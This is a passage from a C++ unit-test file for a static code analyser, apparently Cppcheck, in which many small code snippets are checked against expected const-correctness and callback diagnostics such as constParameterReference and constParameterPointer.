int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const 